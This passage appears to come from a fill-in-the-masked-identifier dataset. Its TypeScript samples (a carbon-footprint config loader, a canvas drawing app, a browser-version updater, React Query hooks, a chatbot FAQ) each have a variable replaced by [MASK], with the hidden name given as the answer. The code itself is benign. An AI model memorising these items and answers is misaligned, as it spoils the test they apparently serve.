              azureConfig.getOptional<string[]>('resourceTagNames') ??
              ccfDefaults.AZURE!.RESOURCE_TAG_NAMES,
            CONSUMPTION_CHUNKS_DAYS:
              azureConfig.getOptionalNumber('consumptionChunksDays') ??
              ccfDefaults.AZURE!.CONSUMPTION_CHUNKS_DAYS,
            SUBSCRIPTION_CHUNKS:
              azureConfig.getOptionalNumber('subscriptionChunks') ??
              ccfDefaults.AZURE!.SUBSCRIPTION_CHUNKS,
            SUBSCRIPTIONS:
              azureConfig.getOptional<string[]>('subscriptions') ??
              ccfDefaults.AZURE!.SUBSCRIPTIONS,
            authentication: {
              mode:
                azureConfig.getOptionalString('authMode') ??
                ccfDefaults.AZURE!.authentication!.mode,
              clientId:
                azureConfig.getOptionalString('clientId') ??
                ccfDefaults.AZURE!.authentication!.clientId,
              clientSecret:
                azureConfig.getOptionalString('clientSecret') ??
                ccfDefaults.AZURE!.authentication!.clientSecret,
              tenantId:
                azureConfig.getOptionalString('tenantId') ??
                ccfDefaults.AZURE!.authentication!.tenantId,
            },
          },
    ON_PREMISE:
      onPremiseConfig === undefined
        ? ccfDefaults.ON_PREMISE
        : {
            ...ccfDefaults.ON_PREMISE,
            SERVER: {
              CPU_UTILIZATION:
                onPremiseConfig.getOptionalNumber('cpuUtilizationServer') ??
                ccfDefaults.ON_PREMISE!.SERVER!.CPU_UTILIZATION,
              AVERAGE_WATTS:
                onPremiseConfig.getOptionalNumber('avgWattsServer') ??
                ccfDefaults.ON_PREMISE!.SERVER!.AVERAGE_WATTS,
            },
            LAPTOP: {
              CPU_UTILIZATION:
                onPremiseConfig.getOptionalNumber('cpuUtilizationLaptop') ??
                ccfDefaults.ON_PREMISE!.LAPTOP!.CPU_UTILIZATION,
              AVERAGE_WATTS:
                onPremiseConfig.getOptionalNumber('avgWattsLaptop') ??
                ccfDefaults.ON_PREMISE!.LAPTOP!.AVERAGE_WATTS,
            },
            DESKTOP: {
              CPU_UTILIZATION:
                onPremiseConfig.getOptionalNumber('cpuUtilizationDesktop') ??
                ccfDefaults.ON_PREMISE!.DESKTOP!.CPU_UTILIZATION,
              AVERAGE_WATTS:
                onPremiseConfig.getOptionalNumber('avgWattsDesktop') ??
                ccfDefaults.ON_PREMISE!.DESKTOP!.AVERAGE_WATTS,
            },
          },
    MONGODB:
      mongodbConfig === undefined
          ? ccfDefaults.MONGODB
          : {
              ...ccfDefaults.MONGODB,
              URI:
                  mongodbConfig?.getOptionalString('mongodbUri') ??
                  ccfDefaults.MONGODB!.URI,
              CREDENTIALS:
                  mongodbConfig?.getOptionalString('mongodbCredentials') ??
                  ccfDefaults.MONGODB!.CREDENTIALS,
          },
    CACHE_MODE:
      optionalConfig?.getOptionalString('cacheMode') ?? ccfDefaults.CACHE_MODE,
  };
};
",backstageConfig
631,"//
//  main.ts
//  PO-ID
//
//  Copyright © 2021 <NAME>, www.chrisdavis.com.
//  Released under the Apache 2 License.
//
//  See https://github.com/nthState/PO-ID/blob/master/LICENSE for license information.
//

/**
Device state
*/
enum PocketOperatorMode {
  Drawing,
  RecordingAPattern,
  Playing,
}

/**
Drawing per button
*/
class Drawing {
    private clickX: number[] = [];
    private clickY: number[] = [];
    
    private inactiveColor = ""#A9A9A9"";
    private activeColor = ""#696969"";
    
    public addPoint(point) {
        this.clickX.push(point.x);
        this.clickY.push(point.y);
    }
    
    /**
    An active drawing is full color
    */
    public draw(isActive: boolean, context) {
        let clickX = this.clickX;
        let clickY = this.clickY;
        for (let i = 0; i < clickX.length; ++i) {
            context.beginPath();
            context.moveTo(clickX[i] - 1, clickY[i]);
            context.strokeStyle = isActive ? this.activeColor : this.inactiveColor;
            context.lineTo(clickX[i], clickY[i]);
            context.stroke();
        }
        context.closePath();
    }
}

/**
Main application
*/
class PocketOperatorIDApp {

    // MARK: - Properties

    // Reference to the HTML canvas element
    private canvas: HTMLCanvasElement;
    
    // drawing Context
    private context: CanvasRenderingContext2D;
    
    // mode of operation
    private operatorMode: PocketOperatorMode;
    
    // drawing per layer
    private buttonDrawings: Array<Drawing> = [new Drawing(),new Drawing(),new Drawing(),new Drawing(),
                                                new Drawing(),new Drawing(),new Drawing(),new Drawing(),
                                                new Drawing(),new Drawing(),new Drawing(),new Drawing(),
                                                new Drawing(),new Drawing(),new Drawing(),new Drawing()];

    // currently selected layer
    private activeButton: number = 0;
    
    // Animatable active button
    private activeAnimationLayer = 0;
    
    // Is the user drawing?
    private drawing: boolean = false;
    
    // number of pocket operator buttons
    private maxButtons: number = 16;
    
    // Limited to just a single pattern for proof of concept
    private pattern: Array<Drawing> = new Array(16);
    
    // background fill of the canvas
    private canvasBackgroundColor = ""#DCDCDC"";
    
    // beats per minute
    private beatsPerMinuteInMiliseconds = 60000 / 120;
    
    // Used when animating
    private animationTimer;
    
    // MARK: - Constructor

    constructor() {
        let canvas = document.getElementById('canvas') as
                     HTMLCanvasElement;
        let context = canvas.getContext(""2d"");
        context.lineCap = 'round';
        context.lineJoin = 'round';
        context.lineWidth = 2;
        
        this.buttonDrawings.push(new Drawing());

        this.canvas = canvas;
        this.context = context;

        this.createUserEvents();
        
        this.clearCanvas()
        
        this.operatorMode = PocketOperatorMode.Drawing;
//PocketOperatorMode.Playing
    }
    
    // MARK:- Event Handlers
    
    private createUserEvents() {
        let canvas = this.canvas;

        // Desktop
        canvas.addEventListener(""mousedown"", this.onDownHandler);
        canvas.addEventListener(""mousemove"", this.onDragHandler);
        canvas.addEventListener(""mouseup"", this.onUpHandler);
        canvas.addEventListener(""mouseout"", this.onCancelledHandler);

        // iPhone 
        canvas.addEventListener(""touchstart"", this.onDownHandler);
        canvas.addEventListener(""touchmove"", this.onDragHandler);
        canvas.addEventListener(""touchend"", this.onUpHandler);
        canvas.addEventListener(""touchcancel"", this.onCancelledHandler);

        // HTML buttons
        document.getElementById('clear').addEventListener(""click"", this.clearHandler);
        document.getElementById('export').addEventListener(""click"", this.exportHandler);
        document.getElementById('play').addEventListener(""click"", this.playHandler);
        
        // Pads
        for (let i = 0; i < this.maxButtons; i++) {
            document.getElementById('pad' + i).addEventListener(""click"", this.onChangeButtondHandler);
            
            if (i == this.activeButton) {
                document.getElementById('pad' + i).className = ""active"";
            }
        }
    }
    
    private clearHandler = () => {
    
        if (this.operatorMode == PocketOperatorMode.Playing) {
            return
        }
    
        this.buttonDrawings = [new Drawing(),new Drawing(),new Drawing(),new Drawing(),
                                new Drawing(),new Drawing(),new Drawing(),new Drawing(),
                                new Drawing(),new Drawing(),new Drawing(),new Drawing(),
                                new Drawing(),new Drawing(),new Drawing(),new Drawing()];
    
        this.clearCanvas()
    }
    
    private exportHandler = () => {
        alert('Maybe we can ask Teenage Engineering nicely to add this feature?');
    }
    
    private playHandler = () => {
        if (this.operatorMode != PocketOperatorMode.Playing) {
            this.operatorMode = PocketOperatorMode.Playing;
            document.getElementById('play').className = ""active"";
            this.playAnimation();
        } else {
            this.operatorMode = PocketOperatorMode.Drawing;
            document.getElementById('play').className = ""inactive"";
            this.stopAnimation();
        }
    }
    
    private onDownHandler = (e: MouseEvent | TouchEvent) => {
    
        if (this.operatorMode != PocketOperatorMode.Drawing) {
            return
        }
    
        let position = this.calculateCursorPosition(e);
        
        this.drawing = true;
        
        this.buttonDrawings[this.activeButton].addPoint(position);
    }
    
    private onDragHandler = (e: MouseEvent | TouchEvent) => {
    
        if (this.operatorMode != PocketOperatorMode.Drawing) {
            return
        }
    
        if (!this.drawing) {
            return;
        }
    
        let position = this.calculateCursorPosition(e);
        
        this.buttonDrawings[this.activeButton].addPoint(position);
        
        this.draw(this.activeButton);
    
        e.preventDefault();
    }
    
    private onUpHandler = (e: MouseEvent | TouchEvent) => {
        let position = this.calculateCursorPosition(e);
        
        this.drawing = false;
        
        this.draw(this.activeButton);
    }
    
    private onCancelledHandler = () => {
        this.drawing = false;
        
        this.draw(this.activeButton);
    }
    
    private onChangeButtondHandler = (e) => {
        
        // Convert string identifier to an index
        let padIdentifier = +e.target.id.replace(""pad"", """")
        
        this.activeButton = padIdentifier;
        
        this.draw(this.activeButton);
        
        this.changeSelectedButton(padIdentifier);
    }
    
    // MARK: - Drawing
    
    /**
    Depending on whether we are manually drawing or not
    depends on which is the active layer
    */
    private draw(activeLayer:number) {
    
        let context = this.context;
        let canvas = this.canvas;
        
        context.rect(0, 0, canvas.width, canvas.height);
        context.fillStyle = this.canvasBackgroundColor;
        context.fill();
    
        let buttonDrawingsCount = this.buttonDrawings.length;
        for (let i = 0; i < buttonDrawingsCount; i++) {
            let buttonDrawing = this.buttonDrawings[i];
            buttonDrawing.draw(activeLayer == i, context);
        }
    
    }
    
    // MARK: - Screen calculations
    
    /**
    Given the mouse/touch event, calculate the real co-ordinates 
    in the canvas.
    */
    private calculateCursorPosition(e: MouseEvent | TouchEvent) {
        let mouseX = (e as TouchEvent).changedTouches ?
                 (e as TouchEvent).changedTouches[0].pageX :
                 (e as MouseEvent).pageX;
        let  [MASK]  = (e as TouchEvent).changedTouches ?
                     (e as TouchEvent).changedTouches[0].pageY :
                     (e as MouseEvent).pageY;
        mouseX -= this.canvas.offsetLeft;
         [MASK]  -= this.canvas.offsetTop;
        
        return {x: mouseX, y:  [MASK] };
    }
    
    /**
     Clear the screen
     */
    private clearCanvas() {
        let context = this.context;
        let canvas = this.canvas;
    
        context.clearRect(0, 0, canvas.width, canvas.height);
        context.rect(0, 0, canvas.width, canvas.height);
        context.fillStyle = this.canvasBackgroundColor;
        context.fill();
    }
    
    // MARK: - UI Button updates
    
    private changeSelectedButton(to) {
        for (let i = 0; i < this.maxButtons; i++) {  
            if (i != to) {
               document.getElementById('pad' + i).className = ""inactive"";
            } else {
              document.getElementById('pad' + i).className = ""active"";
            }
        }
    }
    
    // MARK: - Animation
    
    private playAnimation() {
        this.stopAnimation();
        this.activeAnimationLayer = 0;
        var localThis = this
        this.animationTimer = setInterval(function() {
            localThis.animateView(localThis);
        }, this.beatsPerMinuteInMiliseconds);
    }
    
    private stopAnimation() {
        clearInterval(this.animationTimer);
        this.animationTimer = undefined;
        this.changeSelectedButton(this.activeButton);
    }
    
    private animateView(executer) {
    
        executer.draw(this.activeAnimationLayer);

        executer.changeSelectedButton(this.activeAnimationLayer);

        executer.activeAnimationLayer = this.activeAnimationLayer + 1;

        if (executer.activeAnimationLayer > executer.maxButtons) {
            executer.activeAnimationLayer = 0;
        }
    }
}

new PocketOperatorIDApp();",mouseY
632,"import https from ""node:https"";
import { writeFileSync, readFileSync } from ""node:fs"";

interface BrowserRelease {
  engine: string;
  engine_version: string;
  status: string;
  release_date: string;
}

interface BrowserData {
  name: string;
  releases: { [version: string]: BrowserRelease };
}

interface DownstreamBrowsersData {
  browsers: { [browserName: string]: BrowserData };
  lastUpdated: string;
}

interface UserAgent {
  ua: string;
  firstSeen: string;
}

interface UserAgentData {
  uas: UserAgent[];
}

const compareVersions = (
  incomingVersionString: string,
  previousVersionString: string,
): number => {
  if (incomingVersionString === previousVersionString) {
    return 0;
  }

  let [incomingVersionStringMajor, incomingVersionStringMinor] =
    incomingVersionString.split(""."");
  let [previousVersionStringMajor, previousVersionStringMinor] =
    previousVersionString.split(""."");

  if (!incomingVersionStringMajor || !previousVersionStringMajor) {
    throw new Error(
      ""One of these version strings is broken: "" +
        incomingVersionString +
        "" or "" +
        previousVersionString +
        """",
    );
  }

  if (
    parseInt(incomingVersionStringMajor) > parseInt(previousVersionStringMajor)
  ) {
    return 1;
  }

  if (incomingVersionStringMinor) {
    if (
      parseInt(incomingVersionStringMajor) ==
        parseInt(previousVersionStringMajor) &&
      (!previousVersionStringMinor ||
        parseInt(incomingVersionStringMinor) >
          parseInt(previousVersionStringMinor))
    ) {
      return 1;
    }
  }
  return -1;
};

const findLatestVersion = (releases: {
  [version: string]: BrowserRelease;
}): [string, BrowserRelease] | undefined => {
  return Object.entries(releases)
    .sort((a, b) => compareVersions(a[0], b[0]))
    .pop();
};

const handleUas = (
  uaObject: UserAgentData,
): [boolean, DownstreamBrowsersData] => {
  let somethingChanged = false;

  const existingData: DownstreamBrowsersData = JSON.parse(
    readFileSync(process.cwd() + ""/static/downstream-browsers.json"", {
      encoding: ""utf8"",
    }),
  );

  const browsers = [
    {
      name: ""qq_android"",
      latestExistingVersion: findLatestVersion(
        existingData.browsers[""qq_android""].releases,
      ),
      regex: new RegExp(""chrome|Chrome\/(\\d+).*MQQBrowser\/(\\d+\\.\\d+)""),
    },
    {
      name: ""uc_android"",
      latestExistingVersion: findLatestVersion(
        existingData.browsers[""uc_android""].releases,
      ),
      regex: new RegExp(""chrome|Chrome\/(\\d+).*UCBrowser\/(\\d+\\.\\d+)""),
    },
    {
      name: ""ya_android"",
      latestExistingVersion: findLatestVersion(
        existingData.browsers[""ya_android""].releases,
      ),
      regex: new RegExp(
        ""android|Android.*chrome|Chrome\/(\\d+).*YaBrowser\/(\\d+\\.\\d+)"",
      ),
    },
  ];

  uaObject.uas.reverse().forEach((ua) => {
    browsers.forEach((browser) => {
      let browserVersionMatch = ua.ua.match(browser.regex);
      if (browserVersionMatch) {
        let browserName = browser.name;
        let browserVersion;
        let chromiumVersion;
        if (browserVersionMatch[0] == ""coc_coc_browser"") {
          browserVersion = browserVersionMatch[3].toString().trim();
          chromiumVersion = browserVersionMatch[2].toString().trim();
        } else {
          if (browserVersionMatch[1] && browserVersionMatch[2]) {
            browserVersion = browserVersionMatch[2].toString().trim();
            chromiumVersion = browserVersionMatch[1].toString().trim();
          }
        }
        if (browserVersion != undefined) {
          if (
            compareVersions(
              browserVersion,
              browser.latestExistingVersion?.[0] ?? """",
            ) === 1 &&
            parseInt(chromiumVersion) >=
              parseInt(
                browser.latestExistingVersion?.[1].engine_version ?? """",
              ) &&
            !Object.keys(existingData.browsers[browserName].releases).includes(
              browserVersion.toString(),
            )
          ) {
            console.log(
              ""adding "",
              browserName,
              "" version "",
              browserVersion,
              "" with Chromium version "",
              chromiumVersion,
              "" and release date "",
              ua.firstSeen,
            );
            existingData.browsers[browserName].releases[browserVersion] = {
              engine: ""Blink"",
              engine_version: chromiumVersion,
              status: ""unknown"",
              release_date: ua.firstSeen,
            };
            somethingChanged = true;
          }
        }
      }
    });
  });

  return [somethingChanged, existingData];
};

if (process.argv.length === 2) {
  console.error(""Expected at least one argument!"");
  process.exit(1);
} else {
  const options = {
    hostname: ""api.useragents.io"",
    port: 443,
    path: ""/api/v1/web-platform-baseline"",
    method: ""GET"",
    headers: {
      ""x-api-key"": `Bearer ${process.argv[2]}`,
      ""Content-Type"": "" application/json"",
    },
  };

  let latestUas: UserAgentData;

  https
    .request(options, (res) => {
      let output: Buffer[] = [];
      console.log(""status code: "", res.statusCode);
      res.on(""data"", (d) => {
        output.push(d);
      });

      res.on(""end"", () => {
        latestUas = JSON.parse(Buffer.concat(output).toString());
        let [willWrite, fileOutput] = handleUas(latestUas);
        Object.keys(fileOutput.browsers).forEach((browserName) => {
          const releases = fileOutput.browsers[browserName].releases;
          const  [MASK]  = Object.entries(releases)
            .sort((a, b) => compareVersions(a[0], b[0]))
            .reduce(
              (acc, [version, release]) => {
                acc[version] = release;
                return acc;
              },
              {} as { [version: string]: BrowserRelease },
            );
          fileOutput.browsers[browserName].releases =  [MASK] ;
        });
        if (willWrite) {
          fileOutput.lastUpdated = new Date().toISOString();
          writeFileSync(
            process.cwd() + ""/static/downstream-browsers.json"",
            JSON.stringify(fileOutput, null, 2),
            { flag: ""w"" },
          );
          writeFileSync(
            process.cwd() + ""/src/data/downstream-browsers.json"",
            JSON.stringify(fileOutput, null, 2),
            { flag: ""w"" },
          );
        } else {
          console.log(""no updates at this time"");
        }
      });
    })
    .end();
}
",sortedReleases
633,"import {keepPreviousData, useInfiniteQuery, useQueries, useQuery, useQueryClient} from ""@tanstack/react-query"";
import {getProduct, getProducts, getProjects, getTodo, getTodosIds} from ""./api.ts"";
import {Product} from ""../types"";


export function useTodoIds() {
    // useQuery - blocking
    return useQuery({
        queryKey: ['todos'],
        queryFn: getTodosIds,
        // refetchOnWindowFocus: false,
        // enabled: true
    })
}

export function useTodo(ids: (number | undefined)[] | undefined) {
    // @TODO Explain this?
    return useQueries({
        queries: (ids ?? []).map((id) => {
            return {
                queryKey: ['todo', {id}],
                queryFn: () => getTodo(id!),
            }
        })
    })
}

export function useProjects(page: number) {
    // keepPreviousData does not fire until after the render, and after the
    // data has success loaded. this prevents the screen from flickering
    return useQuery({
        queryKey: ['projects', {page}],
        queryFn: () => getProjects({page}),
        placeholderData: keepPreviousData
    })
}

export function useProducts() {
    return useInfiniteQuery({
        queryKey: ['products'],
        queryFn: getProducts,
        initialPageParam: 1,
        getNextPageParam: (lastPage, _allPages, lastPageParam) => {
            if (lastPage.length === 0) {
                return undefined // return undefined to end the infinite query
            }
            return lastPageParam + 1
        },
        getPreviousPageParam: (_firstPage, _allPages,  [MASK] ) => {
            if ( [MASK]  <= 1) {
                return undefined // return undefined to disable prev page query
            }
            return  [MASK]  - 1
        }
    })
}

export function useProduct(id:number|null) {
    const queryClient = useQueryClient()
    return useQuery({
        queryKey: ['product',{id}],
        queryFn: () => getProduct(id!), // ! at the end tells typescript that the id is not null.
        enabled: !! id, // this will prevent NULL from being passed to the getProduct
        placeholderData: () => {
            // this will pull the products from the cache ( array of array )
            // and return the product that matches the id
            const cachedProduct = (
                queryClient.getQueryData(['products']) as {
                    pages: Product[] | undefined
                }
            )?.pages?.flat(2)
            if ( cachedProduct ) {
                return cachedProduct.find((item)=>item.id === id)
            }
        }
    })
}
",firstPageParam
634,"export interface Message {
  id: string;
  text: string;
  isUser: boolean;
  timestamp: Date;
}

export interface ChatBotConfig {
  title: string;
  subtitle: string;
  welcomeMessage: string;
  poweredByText: string;
  placeholderText: string;
}

export const chatBotConfig: ChatBotConfig = {
  title: 'KGPATH',
  subtitle: 'Online now',
  welcomeMessage: ""Hello! I'm your AI assistant. How can I help you today?"",
  poweredByText: 'Powered by KGPATH',
  placeholderText: 'Type your message...',
};

export const initialMessages: Message[] = [
  {
    id: '1',
    text: chatBotConfig.welcomeMessage,
    isUser: false,
    timestamp: new Date(),
  },
];

const qnaDatabase = [
  // ========== GENERAL ENQUIRY ==========
  {
    keywords: ['location', 'address', 'where', 'located', 'place'],
    answer: ""We are located on the 3rd Floor, KG Garden City Mall, Vedapatti, Coimbatore.""
  },
  {
    keywords: ['contact', 'phone', 'number', 'call', 'reach', 'mobile'],
    answer: ""You can call us at +91 7397788918 / 917 / 915 or email us at <EMAIL>.""
  },
  {
    keywords: ['working hours', 'timings', 'open', 'close', 'available', 'hours'],
    answer: ""Our team is available Monday to Saturday from 10:00 AM to 6:00 PM.""
  },
  {
    keywords: ['branches', 'other locations', 'centers', 'other branches'],
    answer: ""Currently, our main training center is in Vedapatti, Coimbatore.""
  },
  {
    keywords: ['parking', 'vehicle', 'car parking'],
    answer: ""Yes, we have parking available within KG Garden City Mall premises.""
  },

  // ========== MISSION & VISION ==========
  {
    keywords: ['mission'],
    answer: ""Our mission is to make quality tech education accessible and bridge the digital skills gap with industry-relevant training.""
  },
  {
    keywords: ['vision'],
    answer: ""To become a globally recognized platform for skill development and empower learners to shape the future of technology.""
  },

  // ========== COURSES OFFERED ==========
  {
    keywords: ['courses', 'programs', 'offerings', 'what do you offer'],
    answer: `We offer the following courses:
- Full Stack Development
- AI & Machine Learning
- Cloud Architect`
  },
  {
    keywords: ['duration', 'how long', 'length', 'course duration'],
    answer: ""All three courses have a duration of 6 months.""
  },
  {
    keywords: ['mode', 'online', 'offline', 'learning method', 'delivery'],
    answer: ""We offer both online and offline learning options.""
  },
  {
    keywords: ['age limit', 'age restriction', 'minimum age'],
    answer: ""No, anyone passionate about tech and learning is welcome to join.""
  },
  {
    keywords: ['beginners', 'new', 'no experience', 'starter', 'fresher'],
    answer: ""Yes, our courses are designed for both beginners and professionals.""
  },
  {
    keywords: ['working professionals', 'employed', 'job', 'professional'],
    answer: ""Absolutely! We offer flexible timings suitable for working professionals.""
  },
  {
    keywords: ['coding knowledge', 'prerequisites', 'requirements', 'prior knowledge'],
    answer: ""Basic computer knowledge is preferred, but we start from fundamentals.""
  },

  // ========== FEES & PAYMENT ==========
  {
    keywords: ['fee', 'cost', 'price', 'course fee'],
    answer: ""₹75,000 for each course.""
  },
  {
    keywords: ['emi', 'installment', 'payment plan', 'monthly payment'],
    answer: ""Yes, installment options are available.""
  },
  {
    keywords: ['installment plan', 'payment structure', 'payment options'],
    answer: ""Contact our team for customized installment options.""
  },
  {
    keywords: ['registration fee', 'admission fee', 'joining fee'],
    answer: ""Yes, a nominal registration fee is applicable.""
  },
  {
    keywords: ['discounts', 'offers', 'special price', 'early bird'],
    answer: ""Special offers and early-bird discounts may apply. Please contact us for current offers.""
  },

  // ========== FULL STACK DEVELOPMENT ==========
  {
    keywords: ['full stack', 'fullstack', 'web development', 'full stack course'],
    answer: `Full Stack Development course covers:
- Frontend, Backend, Database, APIs, Deployment, and Version Control.
Technologies you'll learn:
- HTML, CSS, JavaScript, React, Node.js, MongoDB, MySQL, Git & GitHub.`
  },
  {
    keywords: ['projects', 'real projects', 'hands-on', 'practical'],
    answer: ""Yes, hands-on projects and capstone projects are included.""
  },
  {
    keywords: ['certificate', 'certification', 'completion certificate'],
    answer: ""Yes, a course completion certificate is provided.""
  },
  {
    keywords: ['portfolio', 'showcase', 'work portfolio'],
    answer: ""Yes, we help you build a live portfolio with real-world projects.""
  },

  // ========== AI & ML COURSE ==========
  {
    keywords: ['ai', 'ml', 'machine learning', 'artificial intelligence', 'ai ml'],
    answer: `AI & ML course includes:
- Python Programming, Machine Learning, Deep Learning, and AI concepts.
Tools you'll use:
- TensorFlow, Scikit-learn, NumPy, and Pandas.`
  },
  {
    keywords: ['python', 'programming language', 'python required'],
    answer: ""Not necessarily; Python basics are covered at the start of the course.""
  },
  {
    keywords: ['tensorflow', 'scikit', 'sklearn', 'numpy', 'pandas'],
    answer: ""Yes, we cover all these essential AI/ML tools in our curriculum.""
  },
  {
    keywords: ['ai projects', 'ml projects', 'ai practical'],
    answer: ""Yes, each module includes practical assignments and projects.""
  },

  // ========== CLOUD ARCHITECT COURSE ==========
  {
    keywords: ['cloud', 'cloud architect', 'aws', 'azure', 'google cloud', 'gcp'],
    answer: `Cloud Architect program covers:
- AWS, Azure, Google Cloud, DevOps basics, CI/CD pipelines, and infrastructure setup.`
  },
  {
    keywords: ['non-it', 'non technical', 'non computer background'],
    answer: ""Yes, but basic IT knowledge is helpful.""
  },
  {
    keywords: ['cloud certifications', 'certification exam', 'cloud exams'],
    answer: ""We prepare you for AWS, Azure, or GCP certification exams.""
  },
  {
    keywords: ['exam assistance', 'mock tests', 'certification help'],
    answer: ""Yes, mock tests and mentorship for certification are part of the course.""
  },

  // ========== CAREER SUPPORT ==========
  {
    keywords: ['placement', 'job assistance', 'career support', 'jobs'],
    answer: ""Yes, we offer job support and placement assistance.""
  },
  {
    keywords: ['resume', 'cv', 'profile', 'resume help'],
    answer: ""Yes, we help with resume writing and LinkedIn profile optimization.""
  },
  {
    keywords: ['mock interviews', 'interview preparation', 'interview practice'],
    answer: ""Yes, mock technical and HR interviews are conducted regularly.""
  },
  {
    keywords: ['companies', 'hiring partners', 'recruiters', 'placement partners'],
    answer: ""We connect students with hiring partners and startup networks.""
  },
  {
    keywords: ['internship', 'training', 'internship opportunities'],
    answer: ""Yes, we also provide guidance and references for internships.""
  },

  // ========== LEARNING EXPERIENCE ==========
  {
    keywords: ['recorded sessions', 'recordings', 'videos', 'class recordings'],
    answer: ""Yes, recorded sessions are available for revision.""
  },
  {
    keywords: ['live classes', 'interactive', 'live sessions'],
    answer: ""Yes, our sessions include live Q&A and real-time code walkthroughs.""
  },
  {
    keywords: ['student ratio', 'batch size', 'class size'],
    answer: ""We maintain a small batch size to ensure personalized attention.""
  },
  {
    keywords: ['missed class', 'absent', 'could not attend'],
    answer: ""You can access the recorded session and schedule a catch-up session if needed.""
  },
  {
    keywords: ['lms', 'learning management system', 'portal'],
    answer: ""Yes, we provide access to our LMS with course materials and assignments.""
  },

  // ========== TRAINERS & MENTORS ==========
  {
    keywords: ['trainers', 'instructors', 'faculty', 'teachers'],
    answer: ""Our trainers are industry experts with years of real-world experience.""
  },
  {
    keywords: ['mentors', 'one-on-one', 'personal guidance'],
    answer: ""Yes, one-on-one mentorship is available.""
  },
  {
    keywords: ['career guidance', 'development', 'career advice'],
    answer: ""Yes, including mock interviews, technical skills, and soft skills.""
  },

  // ========== OFFLINE FACILITIES ==========
  {
    keywords: ['classroom', 'offline classes', 'physical classes'],
    answer: ""Yes, we provide offline classes at our Coimbatore center.""
  },
  {
    keywords: ['wifi', 'internet', 'connectivity'],
    answer: ""Yes, free high-speed internet is available.""
  },
  {
    keywords: ['lab', 'computer lab', 'facilities', 'infrastructure'],
    answer: ""Yes, well-equipped computer labs are provided.""
  },
  {
    keywords: ['food', 'snacks', 'beverages', 'canteen'],
    answer: ""Food court facilities are available within KG Garden City Mall.""
  },

  // ========== CERTIFICATION ==========
  {
    keywords: ['certificate', 'certification', 'course certificate'],
    answer: ""Yes, a professional certificate is provided upon successful completion.""
  },
  {
    keywords: ['recognized', 'valid', 'industry recognized'],
    answer: ""Yes, it is recognized by hiring partners and helps in your portfolio.""
  },

  // ========== ADMISSIONS ==========
  {
    keywords: ['enroll', 'admission', 'join', 'how to join'],
    answer: ""You can visit our website, contact us, or walk into our center.""
  },
  {
    keywords: ['entrance exam', 'test', 'admission test'],
    answer: ""No entrance exam is required.""
  },
  {
    keywords: ['demo', 'trial', 'demo class'],
    answer: ""Yes, we offer free demo sessions. Contact us to schedule one.""
  },
  {
    keywords: ['group discount', 'group admission', 'friends discount'],
    answer: ""Yes, we provide discounts for group admissions.""
  },

  // ========== STUDENT SUPPORT ==========
  {
    keywords: ['difficulty', 'doubt', 'understanding', 'help with topic'],
    answer: ""You can schedule a doubt session with the trainer.""
  },
  {
    keywords: ['career counseling', 'guidance', 'advice'],
    answer: ""Yes, career guidance is part of our offering.""
  },
  {
    keywords: ['peer learning', 'group learning', 'student groups'],
    answer: ""Yes, we have student forums and group activities.""
  },

  // ========== TECHNOLOGY STACK ==========
  {
    keywords: ['frontend', 'front end', 'client side'],
    answer: ""We teach HTML, CSS, Bootstrap, JavaScript, React.js for frontend.""
  },
  {
    keywords: ['backend', 'back end', 'server side'],
    answer: ""We teach Node.js, Express.js, MongoDB, and MySQL for backend.""
  },
  {
    keywords: ['api', 'rest', 'services', 'web services'],
    answer: ""Yes, you'll learn to build and consume REST APIs.""
  },
  {
    keywords: ['git', 'version control', 'github'],
    answer: ""Yes, Git and GitHub are part of the curriculum.""
  },

  // ========== EVENTS & EXTRAS ==========
  {
    keywords: ['webinars', 'seminars', 'guest lectures'],
    answer: ""Yes, we regularly conduct webinars with industry experts.""
  },
  {
    keywords: ['hackathons', 'coding competitions', 'coding challenges'],
    answer: ""Yes, we host coding contests and tech challenges.""
  },
  {
    keywords: ['alumni', 'former students', 'alumni network'],
    answer: ""Yes, alumni often return to share their experiences.""
  },

  // ========== LANGUAGE & SUPPORT ==========
  {
    keywords: ['language', 'medium', 'instruction language'],
    answer: ""English is the primary medium. Regional support is also available if needed.""
  },
  {
    keywords: ['material language', 'docs language'],
    answer: ""Yes, all documentation and tutorials are in English.""
  },
  {
    keywords: ['technical support', 'help desk', 'support'],
    answer: ""Yes, our team provides full tech support.""
  },

  // ========== AFTER COURSE COMPLETION ==========
  {
    keywords: ['post course', 'after completion', 'after course'],
    answer: ""Yes, we offer alumni support and updates.""
  },
  {
    keywords: ['lifetime access', 'materials access', 'long term access'],
    answer: ""Yes, lifetime access to LMS content is provided.""
  },
  {
    keywords: ['repeat course', 'retake', 'redo'],
    answer: ""Yes, repeat sessions are possible depending on availability.""
  },

  // ========== ONLINE LEARNING ==========
  {
    keywords: ['online classes', 'virtual classes'],
    answer: ""Online classes are conducted live and also recorded.""
  },
  {
    keywords: ['platform', 'zoom', 'google meet', 'online platform'],
    answer: ""We use Zoom/Google Meet and a secure LMS.""
  },
  {
    keywords: ['system requirements', 'computer specs', 'laptop requirements'],
    answer: ""A basic laptop or desktop with internet access is sufficient.""
  },

  // ========== MISCELLANEOUS ==========
  {
    keywords: ['affiliated', 'accredited', 'recognized'],
    answer: ""We are partnered with industry professionals and certification partners.""
  },
  {
    keywords: ['hardware', 'software', 'provided equipment'],
    answer: ""For offline students, lab systems are provided. Online students need personal devices.""
  },
  {
    keywords: ['part-time', 'weekend batches', 'evening classes'],
    answer: ""Yes, weekend and evening batches are available.""
  },
  {
    keywords: ['switch mode', 'online to offline', 'change mode'],
    answer: ""Yes, with prior notice, mode change is allowed.""
  },
  {
    keywords: ['corporate training', 'workshops', 'company training'],
    answer: ""Yes, we provide customized corporate training.""
  },
  {
    keywords: ['freelance', 'remote work', 'freelancing'],
    answer: ""Yes, we guide students in freelancing platforms and remote jobs.""
  },
  {
    keywords: ['visit', 'campus tour', 'see center'],
    answer: ""Yes, you are welcome to schedule a campus tour with our counselors.""
  },
  {
    keywords: ['classroom facilities', 'separate classrooms'],
    answer: ""Yes, we maintain separate classrooms for different programs.""
  },
  {
    keywords: ['air conditioned', 'ac', 'ventilation'],
    answer: ""Yes, our classrooms are well-ventilated and air-conditioned for comfort.""
  },
  {
    keywords: ['waiting area', 'parents lounge'],
    answer: ""Yes, parents can wait in our lounge or common area.""
  },
  {
    keywords: ['cctv', 'security cameras', 'surveillance'],
    answer: ""Yes, for student safety, classrooms and labs are monitored by CCTV.""
  },

  // ========== PARENT RELATED ==========
  {
    keywords: ['parents', 'progress discussion', 'parent teacher'],
    answer: ""Yes, parents are welcome to interact with counselors and trainers during reviews.""
  },
  {
    keywords: ['safety', 'female students', 'women safety'],
    answer: ""Yes, our campus is safe and monitored with female staff support.""
